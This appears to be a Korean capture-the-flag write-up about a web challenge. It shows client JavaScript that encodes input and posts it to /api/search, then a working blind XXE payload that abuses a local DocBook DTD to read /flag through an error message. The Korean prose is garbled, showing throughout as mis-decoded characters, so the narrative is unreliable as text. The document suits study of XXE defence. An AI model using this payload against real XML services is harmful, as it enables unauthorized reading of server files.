๊ธ€ ์ž‘์„ฑ์ž: heogi

์„ ํƒํ•œ City๋ฅผ ํŠน์ •ํ•œ ๋ฐฉ์‹์œผ๋กœ ์ธ์ฝ”๋”ฉํ•˜์—ฌ JSON์œผ๋กœ ์ „์†กํ•œ๋‹ค.

function AjaxFormPost() {
  var datasend;
  var message = document.getElementById('message').value;
  message = message.toLowerCase();

  var blindvalues = [
    '10',    '120',   '140',    '1450',   '150',   '1240',  '12450',
    '1250',  '240',   '2450',   '130',    '1230',  '1340',  '13450',
    '1350',  '12340', '123450', '12350',  '2340',  '23450', '1360',
    '12360', '24560', '13460',  '134560', '13560',
  ];

  var blindmap = new Map();
  var i;
  var message_new = '';

  for (i = 0; i < blindvalues.length; i++) {
    blindmap[i + 97] = blindvalues[i];
  }

  for (i = 0; i < message.length; i++) {
    message_new += blindmap[(message[i].charCodeAt(0))];
  }

  datasend = JSON.stringify({
    'message': message_new,
  });
  var url = '/api/search';
  xhr = new XMLHttpRequest();
  xhr.open('POST', url, true);
  xhr.setRequestHeader('Content-type', 'application/json');

  xhr.onreadystatechange =
      function() {
    if (xhr.readyState == 4 && xhr.status == 200) {
        console.log(xhr.getResponseHeader('Content-Type'));
        if (xhr.getResponseHeader('Content-Type') == "application/json; charset=utf-8") {
            try {
                var json = JSON.parse(xhr.responseText);
                document.getElementById('database-data').value = json['ValueSearch'];
            }
            catch(e) {;
                document.getElementById('database-data').value = e.message;
            }
        }
        else {
            document.getElementById('database-data').value = xhr.responseText;
        }
    }
}
      xhr.send(datasend);
}

์„ ํƒํ•œ City๋Š” ์œ„์˜ ๊ณผ์ •์„ ํ†ตํ•ด ์ˆซ์žํ˜•์‹์œผ๋กœ ์ธ์ฝ”๋”ฉ๋˜๊ณ  application/json ํ˜•์‹์œผ๋กœ /api/search๋กœ ์ „์†ก์ด๋œ๋‹ค.

์—ฌ๋Ÿฌ๊ฐ€์ง€ ๋ฌธ์ž๋“ค์„ ์‚ฝ์ž…ํ•ด๋ณด์•˜์ง€๋งŒ ๊ทธ๋ƒฅ ๋ฌด์‹œํ•˜๋Š”๊ฑฐ ๊ฐ™์•˜๋‹ค.

Json ํ˜•์‹ ๋ง๊ณ  XML ํ˜•์‹์œผ๋กœ ์ „์†ก์„ ์‹œ๋„ํ•ด๋ณด๋‹ˆ XML ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์˜€๋‹ค. XMLํ˜•์‹์˜ ๋ฐ์ดํ„ฐ๋„ ๋ฐ›๋Š”๋‹ค.  
๋จผ์ € XML ํ˜•์‹์œผ๋กœ ์ •์ƒ์ ์ธ ์š”์ฒญ์„ ์‹œ๋„ํ•ด๋ณด๋‹ˆ ์ •์ƒ์ ์œผ๋กœ ์‘๋‹ต์ด ์™”๋‹ค.

์ด์ œ XXE๋ฅผ ์‹œ๋„ํ•ด๋ณด์•˜๋‹ค.

์กด์žฌํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ ์ด์ƒํ•œ ์š”์ฒญ์„ ํ•˜๋ฉด ์•„๋ž˜์ฒ˜๋Ÿผ ์‘๋‹ต์ด ์™”๋‹ค.

๊ทธ๋ž˜์„œ ์ผ๋‹จ ํ•ด๋‹น ํŒŒ์ผ์ด ์กด์žฌํ•˜๋Š”์ง€๋Š” ํŒ๋ณ„ ํ• ์ˆ˜ ์žˆ๋Š”๊ฒƒ ๊ฐ™์•„์„œ ๋จผ์ € flag๋ฅผ ์ฐพ์•„๋ณด์•˜๋‹ค.

์œ„์˜ ์š”์ฒญ์œผ๋กœ No Result๋กœ ์‘๋‹ต์ด ์™”๋‹ค. flagํŒŒ์ผ์„ ์ฝ์œผ๋ฉด ๋ฌธ์ œ๊ฐ€ ํ’€๋ฆฐ๋‹ค. ํ•˜์ง€๋งŒ ์œ„์— ์‹œ๋„ํ–ˆ๋˜ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” flagํŒŒ์ผ์„ ์ถœ๋ ฅํ•  ์ˆ˜๊ฐ€ ์—†์—ˆ๋‹ค.

GG ์น˜๊ณ  ๋‹ต์„ ์ฐพ์•„๋ดค๋‹ค.

Local DTD ํŒŒ์ผ์„ ์ด์šฉํ•œ Bilnde XXE ์ทจ์•ฝ์ ์ด๋‹ค.

<!DOCTYPE message [
	<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

	<!ENTITY % ISOamso '

		<!ENTITY &#x25; file SYSTEM "file:///flag">

		<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27; >">
		
		&#x25;eval;

		&#x25;error;

	'>
	%local_dtd;
]>

ํ•ด๋‹น XML ๊ตฌ๋ฌธ์„ ์ด์šฉํ•ด flagํŒŒ์ผ์„ ์ฝ์œผ๋ฉด ์ •์ƒ์ ์œผ๋กœ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ถœ๋ ฅ์ด๋˜์—ˆ๋‹ค.

 

์ฐธ๊ณ 
https://portswigger.net/web-security/xxe/blind
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/